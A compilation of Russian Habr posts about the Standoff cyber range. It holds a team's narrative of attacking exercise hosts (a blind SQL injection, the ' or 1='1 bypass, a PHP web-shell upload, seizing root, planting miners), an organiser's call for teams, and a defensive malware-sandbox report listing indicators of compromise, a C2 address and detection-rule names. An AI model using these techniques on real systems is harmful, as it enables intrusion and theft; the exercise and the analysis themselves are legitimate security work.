На этом я с вами, дорогие Хабравчане, прощаюсь и передаю слово своему соратнику по команде Мурату - пулеметчику, который расскажет подробно, за что он получил своё прозвище и как он сделал большинство очков в баунти.

#Запахло горелым

Эту мини-главу расскажу я - Мурат (@manfromkz). И так, похекали поехали!

В сети компании Nuft по адресу 10.126.100.167 находился сайт для онлайн регистрации студентов на разные курсы (Online course registration - OCR). LMS на минималках. Этот ресурс помог нам заработать около 4400 очков, и вы скоро узнаете как.

Сначала была найдена слепая time-based SQL-инъекция в форме авторизации на главной странице ресурса:

Много времени было потрачено на раскрутку этой инъекций, но в итоге хэш пароля и логин администратора удалось получить:

Тут ждала еще одна засада - хэш никак не хотел брутиться. Не помогла даже специально собранная брут-машина с крутыми видеокартами и с огромными словарями. Наверняка другая команда уже вошла в систему и сменила пароль администратора на сложный. Хост был заброшен из-за этого на некоторое время.

Позже я просто попробовал ввести в форму авторизации классический вектор ' or 1='1 и тут запахло горелым. Нет, дело не только в том, что мы потратили кучу времени на раскрутку ресурсозатратной уязвимости и не в тщетных попытках брута небрутабельного хэша, а в том, что реально что-то горело. И это не то место, о котором вы возможно подумали =)

Начал чувствоваться сильный запах гари. Я срочно встал и начал вынюхивать все рабочее место, чтобы исключить неисправность кабелей или ноутбука. В рабочей комнате не смог найти источник запаха, и начал носиться по всей квартире, пока не услышал шум на лестничной площадке. Как только открыл дверь, на меня пошли клубки дыма и ужасный запах, а все соседи были на лестничной площадке, кто-то в спешке выводил своих детей на улицу. Спросил у любого рандомного соседа:

• Нашли источник дыма?

Ответ был кратким и содержательным:

• Да, на первом этаже.

Сказал про себя отлично, but not today!, закрыл дверь, открыл окна и продолжил исследовать хост, в надежде, что не сгорю или не задохнусь.

Вернемся к нашему объекту. После авторизации под студентом, можно редактировать свой профиль. Диоксид углерода сделал свое, и я решил просто загрузить php-файл вместо фотки студента:

Получилось. Да, все просто. Получаем заветный шелл:

Шелл у нас приватный и классный (спасибо @explorer), естественно, что местами лили и общедоступные шелы и забирали шелы у других команд или даже маскировали свой под легитимные страницы.

Было предпринято огромное количество попыток повышения привилегий полученного пользователя www-data. Но как назло - ядро свежее, кривых сервисов нет, все энумерации ничего годного не показали. Палить 0day эксплойты под последние версии ядра Linux было нецелесообразно, поэтому мы решили пойти иным путем.

Так как шелл у нас приватный и классный, через пару нажатий кнопок в интерфейсе, я скачал исходный код системы OCR. BugBounty программа The Standoff принимала уязвимости типа SSRF, XXE, LFI/RFI, RCE, SQL-injection. Открыв код системы, я понял, что сейчас на нашей улице будет праздник, если не сгорю :-).

Так можно продолжать еще на две страницы, если не больше. Везде ничего не фильтруется. Сколько уязвимостей видите в приведенном участке кода из файла checkavailability.php? Я вижу один. А в edit-course.php? Тоже один? Я вижу четыре. Точно так же в course.php вижу четыре SQL-инъекции, а в student-registration.php вижу еще две. Чисто технически, уязвимость каждого параметра каждого скрипта - это отдельная уязвимость. Несложная арифметика 1+4+4+2=11. Считайте уже 11*150=1650 баллов у нас в кармане. И это только начало. Просто покажу список отправленных репортов только по этому хосту и только по SQL-injection:

Да и были конечно моменты, от которых горело не только в подъезде но и в душе, когда брали вектор, нас выпуливали, мы не сдавались и бились до конца, но иногда включались или организаторы или защитники и правили код, убирая уязвимости напрочь. Таких случаев было не мало и каждый совершенно различен, но вот просто очень охото, чтобы Вы это прочли и поняли каково это.

Изложение матное и дико увлекательное про хост 10.126.80.187 от Олега (@undefi)

Изначально, там был сервис с двумя уязвимыми файлами. Первой нашли читалку файлов, через которую прочитали исходники и нашли второй файл с RCE.

Скрипты выполнялись от рута. Залились на хост, пытались с него пробиться в локалку, но у него не было доступа. Залили агента, залили себе шелл на будущее для майнеров и пошли дальше.

Спустя какое-то время вернулись к хосту и обнаружили, что нас выкинули. Залились снова, спрятали шелл. Мура начал изучать хост, нашёл шелл другой именитой команды, выкинули их. Увидели, что шелл льётся снова, и то, что противники закрепились по крону, заблочили им каталог для залива. И снова мы оставили хост до лучших времен.

Пошли тренировать навыки на KoTH (http://personeltest.ru/aways/tryhackme.com/games/koth)

Когда настала пора майнеров, мы вернулись к хосту и обнаружили что? Правильно похекеров! Во-первых, нас снова выкинули. Во-вторых, уязвимость с RCE запатчили. Кто это был, красные или синие, нам неизвестно. Но запатчили красиво - повесили на уязвимый параметр экранирование (escapeshellargs()).

Но читалка файлов осталась.

Ранее, изучая хост, мы нашли там ещё веб-сервисы. Стали изучать через читалку и обнаружили ещё один уязвимый файл с RCE. Но картину нехило так портил WAF. Но, мы ребята не простые, поэтому щёлкнули этот файрволл и смогли залиться на хост. И вот тут начинается весь фатал-карнавал.

Заваливаемся с Мурой на хост, после стандартные команды: w, ps. А там швах: 7 или 8 рутовых ssh сессий, куча бэк коннектов. Зовём на помощь зал - Кролика, Богдана и говорим, что сейчас будет битва :)

Одновременно коннектимся к хосту, меняем рутовый пароль, начинаем рубить бэкконнекты и рвать рутовые сессии. В то же мгновение кто-то подключается снова. Снова выкидываем, одновременно судорожно пытаемся искать шеллы.

Кто-то кидает броадкаст сообщение через wall в духе: плохиши, хватит выкидывать. Выкидывают нас, мы снова заходим, идёт борьба на лучший пинг и самые быстрые пальцы.

Отрубаем bash у рута, видим, что есть ещё юзеры типа rooot, ro0t и учётки, похожие на орговские. Дропаем всех, но коннекты продолжаются. Отрубаем авторизацию ssh по паролю, меняем порт, Мура генерит ключ и на какое-то время это помогает. Выдыхаем.

В это время в чате капитанов начинается бугурт.

Мы расслабляемся, ищем неспешно шеллы, находим снова уже знакомый нам шелл, окончательно его вычищаем, заливаем агента и смотрим дальше. И тут нас выпуливают, закрывают порт ssh и дропают агента. Я так понимаю, это были организаторские властелины или те, кто увёл учётку у них.

В чате капитанов продолжается холивар, все кидаются жалобами друг в друга, мы материмся в дискорде, обстановка напряжённая, но разрядку внёс один из капитанов мемчиком.

Несколько часов спустя хост вернулся в строй после реверта, но как-то странно. Системные настройки вернули, а вот скрипт с RCE как был экранирован, так и остался до конца.

Благо, что мы нашли другую уязвимость, снова залились и просто на нём майнили и юзали, как прокси для обхода WAF на другом хосте.

Всегда стоит вернуться время спустя и root в кармане

Когда сдавали последние отчеты по данному хосту, в личные сообщения нашего капитана Тимура (@BadBlackHat) написал Михаил Левин:

Но мы хотели еще. Только дальше не получилось, так как кто-то начал удалять базу данных хоста, причем через крон. Любая попытка восстановить базу в тот же момент проваливалась. Кто бы это не был, это было очень жестоко, но с одной стороны полезно для нас, так как мы уже успели сдать много уязвимостей. А дальнейшая судьба хоста нас мало волновала. На тот момент, сама статистика сданных уязвимостей на сайте The Standoff уж точно взбудоражила другие команды:

Кстати, после The Standoff ко мне постучался сосед и сообщил, что я его топлю. Я просмотрел все места в ванной и не нашел источник, показал соседу. Он побежал на этаж выше. Источник был там. Оказывается моя квартира выступила как прокси для соседа выше, чтобы тот затопил соседа подо мной. Так что, можно смело сказать - огонь и медные трубы я прошел.

А турнирная таблица выглядела так:

Вы скажете всего лишь третье место, а я скажу всего лишь расслабленные соперники. Об этом в хитростях, в следующей мини-главе. А мораль сей басни - если есть возможность, всегда скачивайте исходники для ручного анализа.

#Хитрости

Любой нами отправленный баг в BugBounty программу почти моментально фиксился, не оставляя шансов на закрепление. Иногда просто отрубали весь сервис, иногда удаляли весь уязвимый скрипт, иногда забрасывали все под фаервол. Да, правильных патчей было мизерное количество. И тут мы начали задумываться, а зачем гонятся за баллами в BugBounty, если это отрезает нам путь для дальнейшего исследования инфраструктуры? Какая разница, на какой строчке мы находимся в турнирной таблице, если важна только конечная позиция? Ведь хорошо смеется тот, кто смеется последним.

И тут в общем чате для репортов начались появляться такие репорты:

Думаю, суть ясна. Отчеты можно было сдать в самом конце, дав соперникам возможность расслабиться. Но правда реализованные риски все равно вывели нас на первое место, и запас был почти бесполезен, но укрепил нашу позицию. Были и другие козыри в виде большого количества захваченных хостов на инфраструктуре, но об этом в сл. части.

# До встречи в SCADA

Пишу на правах вице-капитана (@clevergod) отступление к 3-й и самой огромной и невероятно захватывающей части.

Таких ситуаций за 5 суток, чистым материалом набралось вагон и маленькая тележка и поверьте затронутые в статье вещи, никогда не опишут самого процесса участия. Инфраструктура менялась на ходу и была очень большой и не статичной. Замечаете разницу наших статей от статей, поданных другими командами с прошлых PHDays? Мы всегда мечтали почитать подобный материал, для простых ребят, чтобы не читалось, как статья вендора или газета Правда. Мы хотим лишь доступно пояснить все, что мы переживали, какие были эмоции, трудности, успехи, что приходилось делать для победы и что у каждого из нас были помимо битвы семейные и рабочие дела, различные ЧП. Но не смотря на все это, мы ни разу не повздорили и старались выйти из даже самых трудных или тупиковых ситуаций. В следующей части, надеемся заключительной, мы опишем инфраструктурный процесс. Как мы брали хосты, как боролись с другими командами за звание короля горы, как нас переполняли эмоции при регулярном отлупе, как мы развернули самую масштабную майниг-ферму и многое другое. Вместо тысячи слов, подогревая интерес, покажу, что Вас ждет дальше.

Хотим от всей команды попросить организаторов не менять условия участия на кибер-полигоне и не переносить ИС в локальный режим, мы на удаленке отлично играли и собраться всем в одном месте на 5 суток будет крайне проблематично. А еще огромная просьба, реализовать окончание кибер-битвы за день до конца мероприятия, мы очень хотим посмотреть на доклады.

18 мая начинаются киберучения на полигоне The Standoff, который в этом году станет полноправным партнером форума Positive Hack Days 10 (пройдет 20 и 21 мая). Все меньше времени остается до обоих событий, и мы рады сообщить, что открыли набор команд атакующих и защитников, которые будут бороться друг с другом в мегаполисе.

Что такое The Standoff

The Standoff это киберполигон. Инструмент, с помощью которого мы моделируем технологические процессы и бизнес-системы реальных компаний в промышленности, на транспорте, в энергетике, финансовом и других секторах. Задача полигона создание среды, в которой можно:

• провести настоящие хакерские атаки на инфраструктуру предприятия;

• обнаружить слабые места в системе информационной безопасности;

• проверить и отработать навыки специалистов по обнаружению и предотвращению атак.

Специалисты по ИБ на полигоне изучают методы атакующих и тренируются в расследовании и отражении атак. Полигон позволяет защитникам за несколько дней получить опыт, который в обычных условиях сложно приобрести даже за годы работы.

На протяжении нескольких лет полигон The Standoff разворачивался в рамках PHDays. В прошлом году киберучения выделились в самостоятельное событие, которое может существовать в партнерстве с другими мероприятиями (как, к примеру, это было в случае с HITB). Ожидается, что в мае сойдутся в кибербитве несколько десятков команд, и мы приглашаем вас принять участие.

Технические подробности

Как и в прошлом году, The Standoff на PHDays пройдет в режиме онлайн. Большая часть инфраструктуры киберполигона будет уже знакома многим участникам: нефтяная, газовая? энергетическая и другие компании. Однако мы добавим и новые объекты инфраструктуры со своими бизнес-процессами и рисками. Какие пока секрет :) Полигон станет больше, используемые в нем технологии мощнее, а соревнование еще более практичным и приближенным к реальности.

Кого мы ждем

Мы рады не только тем, кто участвует много лет, но и тем, кто хочет попробовать свои силы впервые. Однако наша аудитория это в основном опытные специалисты, которые уже давно занимаются тестированием на проникновение и анализом защищенности и не понаслышке знают, что такое JNDI, XXE OOB и xp_cmdshell.

Для команды нападения участие в The Standoff это отличная возможность показать и доказать всему миру, насколько команда готова решать сложнейшие задачи практической информационной безопасности, актуальные для бизнеса, и наглядно продемонстрировать, насколько хороши навыки команды в пентесте.

Правила The Standoff таковы, что количество участников в одной атакующей команде ограничено шириной канала, но организаторы отмечают, что для максимально комфортного участия в киберучениях число участников должно не превышать 10 человек.

Условия киберучений на The Standoff призваны сделать его максимально похожим на реальность и повысить практическую применимость его результатов. В частности мы сфокусировали и атакующих, и защитников на рисках цифровых двойников реальных объектов, а не просто на неких флагах, как это реализовано, к примеру, во всем знакомых CTF. Наша цифровая копия мегаполиса ждет тех, кто сможет обнаружить атакующих в их стремлении реализовать какую-нибудь аварию. При этом одно из ключевых требований к защитникам иметь полноценную слаженную команду.

При этом для команд защиты наличие опыта именно в тех отраслях, объекты из которых присутствуют на полигоне, необязательно. Самое главное иметь навыки выявления и расследования инцидентов, тогда участие в The Standoff позволит прокачать их еще сильнее и затем эффективно применять в ежедневной работе.

Для того, чтобы принять участие в The Standoff командам достаточно отправить заявки:

• команды атаки могут заполнить заявку онлайн до 30 апреля;

• команды защиты могут прислать свои заявки организаторам по e-mail (dmushakov@ptsecurity.com) до 17 апреля.

Выяснить подробности проведения The Standoff из первых рук также можно в режиме онлайн в телеграм-чате мероприятия https://t.me/TheStandoff оставайтесь с нами на связи!

До встречи на PHDays и The Standoff!..

С 18 по 21 мая 2021 года на киберполигоне The Standoff прошло очередное противостояние между атакующими и защитниками. Бои проходили в вымышленном городе FF, представляющем собой обширную инфраструктуру, моделирующую технологические и бизнес-процессы компаний в промышленности, энергетике, на транспорте, в финансах и других секторах.

В этот раз в кибербитве участвовали тридцать команд атакующих, жаждущих воспроизвести очередной бизнес-риск, и пять команд защитников, всячески препятствующих действиям противоположной стороны. Кроме них, на протяжении всего времени соревнований работал security operation center (SOC), состоящий из нескольких команд PT Expert Security Center и наблюдавший за всем происходящим. Одной из таких команд, участвовавших в тщательном мониторинге, был наш отдел обнаружения вредоносного ПО. С помощью песочницы PT Sandbox мы анализировали входной поток файлов на предмет наличия вредоносного кода. Вот ее возможности:

• сканирование файлов статическими правилами нашего PT ESC,

• отслеживание вредоносной активности в результате запуска образца в изолированной среде поведенческими правилами PT ESC,

• анализ сетевого трафика внутри виртуальных машин с помощью тех же правил, что используются в PT Network Attack Discovery,

• анализ дампов памяти процессов и файловых артефактов правилами PT ESC,

• сканирование файла с помощью SDK внешних антивирусных вендоров.

Давайте посмотрим, что интересного удалось обнаружить в этот раз. Также предлагаем вам сравнить результаты с уловом в песочнице с прошлого противостояния.

Общая статистика

Мы провели анализ событий в песочнице за период с 18 мая 10:00 до 21 мая 14:00. Согласно регламенту проведения противостояния, 18 и 19 мая с 19:00 до 10:00 следующего дня активные действия на полигоне не проводились. За время проведения кибербитвы в песочницу поступило 67142 файла на анализ, из которых в 233 случаях было обнаружено вредоносное ПО. Файлы в систему поступали следующим образом:

• из вложений писем с почтовых серверов инфраструктуры города FF;

• из сетевого трафика, перехваченные с помощью PT Network Attack Discovery;

• через ICAP, перехваченные с помощью PT Application Firewall;

• путем загрузки вручную через веб-интерфейс специалистами SOC.

На рисунках ниже представлены распределения всех файлов, поступивших на анализ, по источникам, а также распределение по источникам тех, в которых обнаружен вредоносный код:

Мы распределили задетектированные файлы по шестичасовым промежуткам времени, в которые они поступили на анализ. Вот что получилось:

Отметим пиковые промежутки в дневное время по московскому часовому поясу за день до начала конференции PHDays и в первый день ее проведения. Обосновано отсутствие потока файлов в ночное время 19 и 20 мая, так как в этот период активность противостояния приостанавливалась по регламенту.

Специалисты отдела обнаружения вредоносного ПО дополнительно проанализировали каждый вредоносный образец, обнаруженный в PT Sandbox, с целью верификации и уточнения принадлежности определенному семейству. На рисунке ниже классификация файлов по семействам.

В сравнении с прошлым соревнованием в этот раз не было массовых спам-рассылок, из-за чего число обнаруженных однотипных образцов могло бы быть достаточно большим. Тем не менее, тенденция не сильно изменилась. Атакующие по-прежнему отдают предпочтение использованию фреймворков Metasploit и Cobalt Strike для создания троянов-загрузчиков в качестве нагрузки первой стадии. Используются легитимные инструменты PsExec и RemCom для запуска кода на удаленных серверах. Применяются такие инструменты, как NSSM, для закрепления в системе. Мы видели распространение майнеров криптовалюты, в том числе собственного исполнения (атакующие получали дополнительные очки за майнинговую активность).

Также отметим попытки эксплуатации уязвимостей: в топ попала уязвимость CVE-2018-4993 в программе Adobe Acrobat Reader, благодаря которой атакующие могут провести атаку NTLM-relay. Впрочем, вот список полученных эксплойтов на прочие бреши, которые использовались в меньшем количестве:

• CVE-2011-1249

• CVE-2012-0217

• CVE-2016-5195

• CVE-2020-0787

А теперь давайте изучим примеры из некоторых семейств подробнее.

Cobalt Strike

В этот раз практически в каждом втором случае в качестве полезной нагрузки использовался модуль управления компьютером от пентестерского фреймворка Cobalt Strike. Рассмотрим это семейство на примере вложения к письму с именем TechnicalDocuments2.doc

SHA256: 95c49660a71f591a7fc1dd0280c6b35ab417b5eae2aaf462151de9cd3af0f577

Судя по расширению файл представляет собой офисный документ:

На изображении выше отметим предупреждение, что файл содержит макросы, которые отключены.

После запуска VBA-макрос передаст на управляющий сервер имя пользователя и имя домена машины, а полученную в ответ полезную нагрузку запустит с использованием WMI:

В ответе от сервера будет получен однострочник на языке PowerShell, который загрузит и запустит полезную нагрузку следующей стадии:

Далее снова будет загружен PowerShell-скрипт, но большего размера. Он содержит бинарные данные, которые сначала декодируются из base64, а затем расшифровываются линейным XOR с ключом KUPORIS001 без кавычек и запускаются:

Расшифрованные данные вновь представляют собой скрипт PowerShell, который декодирует и расшифровывает следующие данные, передавая на них управление кода:

В начале полученных данных находится позиционно-независимый код, который в дальнейшем произведет отраженную загрузку основного бэкдора фреймворка Beacon Cobalt Strike, с управляющим сервером по адресу 104.248.40[.]15:443.

С цепочкой заражения разобрались. Теперь давайте посмотрим, как это обнаружил PT Sandbox.

На этапе статического анализа офисного документа был выявлен макрос. Кроме того, детектирован автозапуск макроса в момент открытия документа:

В результате запуска образца в изолированной среде обнаружен запуск подпроцесса в офисном приложении, а также произошло срабатывание правила на записанный сетевой трафик.

{"count": 1,"process.id": "3176","process.name": "program files\\microsoft office\\office14\\winword.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621437055.497087","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "ET INFO PowerShell DownloadString Command Common In Powershell Stagers","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

Metasploit

Пятую часть от всех обнаруженных инструментов атакующих представляет нестареющая классика промежуточные загрузчики, или стейджеры, пентестерского фреймворка Metasploit. Данные стейджеры рассматривались многократно различными исследователями, поэтому проведем поверхностный анализ на примере одного из образцов с не менее классическим именем lolkekpohek.exe.

SHA256: f89c96a960cef5b5f767990cd990c5a7a55bdf11f8320263ad4eedbe16ba5ec4

Это исполняемый файл, выдающий себя за серверную часть популярного веб-приложения Apache Server:

  Verified:UnsignedLink date:12:40 03.04.2009Publisher:n/aCompany:Apache Software FoundationDescription:ApacheBench command line utilityProduct:Apache HTTP ServerProd version:2.2.14File version:2.2.14MachineType:32-bit

При этом точка входа PE-файла приводит нас вовсе не к легитимному коду HTTP-сервера, а к набору мусорных, ничего не значащих инструкций, заканчивающихся прыжком на область кода чуть ниже:

Начиная с этого момента, нас ждет много безусловных переходов. Чтобы не запутаться в коде, продолжим анализ с помощью отладчика. Пройдя по коду чуть дальше, отметим вызов функции с последующим прыжком:

Чуть дальше мы видим, как происходит извлечение адреса возврата из стека, подготовка параметров и передача управления кода на извлеченный адрес:

Далее нас ждет работа с PEB исполняемого файла: поиск нужной API функции с перебором загруженных модулей (библиотек) в адресное пространство. Сравнения при поиске происходят не напрямую: от строки имени функции вычисляется простейшая хеш-сумма на базе циклического побитового сдвига. Затем происходит сравнение результата вычисления с предварительно заданным значением. Если значения совпадают нужная функция найдена, и происходит ее вызов. В данном случае будет найдена и вызвана функция выделения памяти: VirtualAlloc.

Чуть позже в полученную область памяти будет скопирован фрагмент кода, который затем получит управление кода. Это фрагмент и представляет собой промежуточный загрузчик фреймворка Metasploit, который соединится с управляющим сервером для получения полезной нагрузки.

А что с обнаружением? При статическом анализе образца был обнаружен разобранный выше стейджер фреймворка Metasploit.

В результате поведенческого анализа зарегистрировано вредоносное соединение с управляющим сервером:

{"count": 1,"process.id": "3176","process.name": "users\\john\\desktop\\lolkekpohek.exe","detect.name": "Backdoor.Win32.Generic.a","unixtime": "1621417537.223409","_rule": "Backdoor.Win32.Generic.a","s_msg": "SHELL [PTsecurity] Metasploit Mettle TCP session opened: AES key exchange","correlation_name": "Backdoor.Win32.Generic.a","detect.type": "malware"}

Полезная нагрузка представляет собой инструмент Mettle, это некий аналог хорошо известного бэкдора Meterpreter.

Goagent

Мы, честно говоря, обрадовались, увидев использование этого инструмента для удаленного управления компьютером вновь. Не будем повторяться, рассказывая о возможностях бэкдора, написанного на языке Go, в некоторых случаях также упакованного UPX с испорченными именами секций, об этом вы можете подробнее почитать в нашем осеннем разборе противостояния. Вместо этого расскажем о цепочке атаки, которая имела место быть в этот раз.

21 мая в полночь пришло письмо с фишинговой ссылкой и вложением, представляющим собой офисный документ, якобы резюме:

myCV (2).doc

Офисный документ содержит VBA-макрос. В результате исполнения будет запущен подпроцесс PowerShell, который загрузит и запустит исполняемый файл по ссылке. Отметим пару интересных моментов:

1. Загруженная полезная нагрузка будет размещена в каталоге планировщика задач с именем, похожим на легитимный процесс в системе svchost.exe (атакующие убрали букву c в имени файла).

2. Имя домена управляющего сервера позволяет провести атрибуцию образца с одной из команд участниц соревнования.

   Рисунок 25. VBA-макрос в офисном документе с ссылкой на полезную нагрузку, SHA256: 42905b4b1165353698ed69be3ef6555c50a253f98ad8151e255b240e274bf4c0

Что касается обнаружения в PT Sandbox: при статическом анализе вновь обнаруживается вредоносный код в макросе офисного документа:

{"count": 1,"process.id": "1848","process.name": "windows\\tasks\\svhost.exe","detect.name": "Trojan-Downloader.Win32.Generic.a","unixtime": "1621546131.952323","_rule": "Trojan_Downloader.Win32.Generic.a","s_msg": "REMOTE [PTsecurity] Goagent","correlation_name": "Trojan_Downloader.Win32.Generic.a","detect.type": "malware"}

А что еще?

Следующие образцы встречались в меньшем количестве, но от этого они не становятся менее значимыми. Давайте бегло посмотрим, а что мы поймали еще?

beRoot.pdf

SHA256: 865b3b8ec9d03d3475286c3030958d90fc72b21b0dca38e5bf8e236602136dd7

19 мая в 11:43 в сетевом трафике был перехвачен файл с расширением .pdf. На самом деле это исполняемый PE-файл. В результате запуска в песочнице было обнаружено обобщенное вредоносное поведение.

Впрочем, фрагменты видеозаписи могут служить подсказкой для дальнейшего анализа:

Чуть более глубокий анализ подсказал, что образец представляет собой скомпилированную программу на языке Python с применением утилиты PyInstaller. А сама программа инструмент BeRoot, позволяющий искать недочеты в системе для подсказки, каким образом можно повысить привилегии пользователя. Впрочем, название инструмента уже содержалось в имени перехваченного образца.

Password Changing Procedure.docx

SHA256: cc8ddc535f2f3a86a3318fe814e7d0ba7bf3790b4db33bb5ee4ec92b7425f0f5

Поиск в интернете по фрагментам строк приводит к проекту unicorn (не путать с известным эмулятором бинарного кода), который предназначен для внедрения шеллкода с использованием PowerShell: в частности, промежуточного загрузчика фреймворков Cobalt Strike и Metasploit, рассмотренных ранее.

winPEASx64.exe

SHA256: e3887380828847c4ff55739d607a4f1a79c8a685e25c82166ee1f58d174df9db

Это утилита WinPEAS инструмент ищет в системе векторы для локального повышения привилегий пользователя в системе. В некотором смысле схож с ранее рассмотренным BeRoot.

SharpHound.exe

SHA256: 61f897ed69646e0509f6802fb2d7c5e88c3e3b93c4ca86942e24d203aa878863

/dirty

SHA256: 38097f9907bd43dcdaec51b89ba90064a8065889eb386ee406d15aadc609d83f

Если есть разведка и поиск способов повысить привилегии должны быть инструменты, позволяющие этим воспользоваться. 20 мая в 13:06 в сетевом трафике перехвачен исполняемый файл под платформу Linux, который представляет собой эксплойт для уязвимости CVE-2016-5195 в ядре Linux, известной также как Dirty COW.

CVE-2018-8120.exe

SHA256: 07191e65af30541f71e876b6037079a070a34c435641897dc788c15e5f62f53c

Еще один эксплойт, полученный из сетевого трафика 21 мая в 11:34. Несложно догадаться и по его названию, что это повышение привилегий в системе Windows с использованием уязвимости CVE-2018-8120 в графической подсистеме.

BitsArbitraryFileMoveExploit.exe

SHA256: 5b9407df404506219bd672a33440783c5c214eefa7feb9923c6f9fded8183610

И напоследок пример еще одного обнаруженного эксплойта. 21 мая в 11:26 все так же, из сетевого трафика, извлечен исполняемый файл, использующий на этот раз уязвимость CVE-2020-0787 в сервисе Windows Background Intelligent Transfer Service (BITS).

Кстати, недавно на одном из наших вебинаров мы обсуждали приемы обнаружения эксплойтов повышения привилегий в общем случае рекомендуем ознакомиться, если не видели.

Заключение

В качестве итога приведем диаграмму, которая отражает статистику распределения детектов при использовании нескольких технологий защиты.

В сравнении с предыдущим соревнованием мы видим, что наша внутренняя экспертиза в продукте расширила горизонт покрытия определяемого ВПО. Мы продолжаем развивать наши технологии обнаружения вредоносного ПО и держать руку на пульсе современных актуальных угроз.

Автор: Алексей Вишняков, руководитель отдела обнаружения вредоносного ПО компании Positive Technologies